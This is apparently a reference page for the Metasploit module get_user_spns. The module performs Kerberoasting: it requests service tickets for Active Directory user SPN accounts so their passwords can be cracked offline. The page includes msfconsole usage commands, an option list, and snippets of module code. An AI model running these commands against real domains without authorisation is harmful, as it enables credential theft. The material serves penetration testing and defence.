Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN) - Metasploit


This page contains detailed information about how to use the auxiliary/gather/get_user_spns metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)
Module: auxiliary/gather/get_user_spns
Source code: modules/auxiliary/gather/get_user_spns.py
Disclosure date: 2014-09-27
Last modification time: 2021-05-17 17:04:49 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module is also known as GetUserSPNs.py or Kerberoast.

This module will try to find Service Principal Names that are associated with normal user accounts. Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request will encrypt the ticket with the account the SPN is running under, this could be used for an offline bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. This is part of the kerberoast attack research by Tim Medin (@timmedin).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/gather/get_user_spns
msf auxiliary(get_user_spns) > show options
    ... show and set options ...
msf auxiliary(get_user_spns) > set RHOSTS ip-range
msf auxiliary(get_user_spns) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(get_user_spns) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(get_user_spns) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(get_user_spns) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • domain: The target Active Directory domain

  • user: Username for a domain account

  • pass: Password for the domain user account

Knowledge Base


Description


This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrive Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.

Verification Steps


To avoid library/version conflict, it would be useful to have a pipenv virtual environment.

  • pipenv --two && pipenv shell
  • Follow the impacket installation steps to install the required libraries.
  • Have a domain user account credentials
  • ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'
  • Get Hashes

Scenarios


$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts  ; set smbuser  ; set smbpass  ; set smbdomain  ; run'
rhosts => 
smbuser => 
smbpass => 
smbdomain => 
[*] Running for ...
[*] Total of records returned 
[+] ServicePrincipalName                              Name        MemberOf                                                                          PasswordLastSet      LastLogon           
[+] ------------------------------------------------  ----------  --------------------------------------------------------------------------------  -------------------  -------------------
[+] SPN...              User...   List...  DateTime... Time... 
[+] $krb5tgs$23$*user$realm$test/spn*$
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the gather/get_user_spns auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/get_user_spns

msf6 auxiliary(gather/get_user_spns) > show info

       Name: Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)
     Module: auxiliary/gather/get_user_spns
    License: CORE Security License (Apache 1.1)
       Rank: Normal
  Disclosed: 2014-09-27

Provided by:
  Alberto Solino
  Jacob Robles

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  THREADS  1                yes       The number of concurrent threads (max one per host)
  domain                    yes       The target Active Directory domain
  pass                      yes       Password for the domain user account
  user                      yes       Username for a domain account

Description:
  This module will try to find Service Principal Names that are 
  associated with normal user accounts. Since normal accounts' 
  passwords tend to be shorter than machine accounts, and knowing that 
  a TGS request will encrypt the ticket with the account the SPN is 
  running under, this could be used for an offline bruteforcing attack 
  of the SPNs account NTLM hash if we can gather valid TGS for those 
  SPNs. This is part of the kerberoast attack research by Tim Medin 
  (@timmedin).

References:
  https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py
  https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf

Also known as:
  GetUserSPNs.py
  Kerberoast

Module Options


This is a complete list of options available in the gather/get_user_spns auxiliary module:

msf6 auxiliary(gather/get_user_spns) > show options

Module options (auxiliary/gather/get_user_spns):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   THREADS  1                yes       The number of concurrent threads (max one per host)
   domain                    yes       The target Active Directory domain
   pass                      yes       Password for the domain user account
   user                      yes       Username for a domain account

Advanced Options


Here is a complete list of advanced options supported by the gather/get_user_spns auxiliary module:

msf6 auxiliary(gather/get_user_spns) > show advanced

Module advanced options (auxiliary/gather/get_user_spns):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/get_user_spns module can do:

msf6 auxiliary(gather/get_user_spns) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/get_user_spns auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/get_user_spns) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error while anonymous logging into %s


Here is a relevant code snippet related to the "Error while anonymous logging into %s" error message:

110:	            s = SMBConnection(self.__domain, self.__domain)
111:	        try:
112:	            s.login('', '')
113:	        except Exception:
114:	            if s.getServerName() == '':
115:	                raise Exception('Error while anonymous logging into %s' % self.__domain)
116:	        else:
117:	            s.logoff()
118:	        return s.getServerName()
119:	
120:	    @staticmethod

Exception for getKerberosTGT


Here is a relevant code snippet related to the "Exception for getKerberosTGT" error message:

150:	            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain,
151:	                                                            compute_lmhash(password),
152:	                                                            compute_nthash(password), self.__aesKey,
153:	                                                            kdcHost=self.__kdcHost)
154:	        except Exception as e:
155:	            module.log('Exception for getKerberosTGT', level='error')
156:	            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
157:	                                                                unhexlify(self.__lmhash),
158:	                                                                unhexlify(self.__nthash), self.__aesKey,
159:	                                                                kdcHost=self.__kdcHost)
160:	

sizeLimitExceeded


Here is a relevant code snippet related to the "sizeLimitExceeded" error message:

229:	            resp = ldapConnection.search(searchFilter=searchFilter,
230:	                                         attributes=['servicePrincipalName', 'sAMAccountName',
231:	                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
232:	                                         sizeLimit=999)
233:	        except ldap.LDAPSearchError as e:
234:	            if e.getErrorString().find('sizeLimitExceeded') >= 0:
235:	                module.log('sizeLimitExceeded exception caught, giving up and processing the data received', level='debug')
236:	                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
237:	                # paged queries
238:	                resp = e.getAnswers()
239:	            else:

Skipping item, cannot process due to error


Here is a relevant code snippet related to the "Skipping item, cannot process due to error" error message:

282:	                        module.log('Bypassing disabled account {}'.format(sAMAccountName), level='debug')
283:	                    else:
284:	                        for spn in SPNs:
285:	                            answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon])
286:	            except Exception as e:
287:	                module.log('Skipping item, cannot process due to error', level='error')
288:	
289:	        if len(answers)>0:
290:	            self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"])
291:	
292:	            if self.__requestTGS is True:

SPN Exception: {} - {}


Here is a relevant code snippet related to the "SPN Exception: {} - {}" error message:

302:	                                                                                self.__kdcHost,
303:	                                                                                TGT['KDC_REP'], TGT['cipher'],
304:	                                                                                TGT['sessionKey'])
305:	                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN)
306:	                    except Exception as e:
307:	                        module.log('SPN Exception: {} - {}'.format(SPN, str(e)), level='error')
308:	
309:	        else:
310:	            module.log('No entries found!', level='info')
311:	
312:	

Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue


Here is a relevant code snippet related to the "Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue" error message:

310:	            module.log('No entries found!', level='info')
311:	
312:	
313:	def run(args):
314:	    if dependencies_missing:
315:	        module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error')
316:	        return
317:	
318:	    options = {}
319:	    options['dc_ip'] = args['rhost']
320:	    executer = GetUserSPNs(args['user'], args['pass'], args['domain'], options)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Alberto Solino
  • Jacob Robles

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.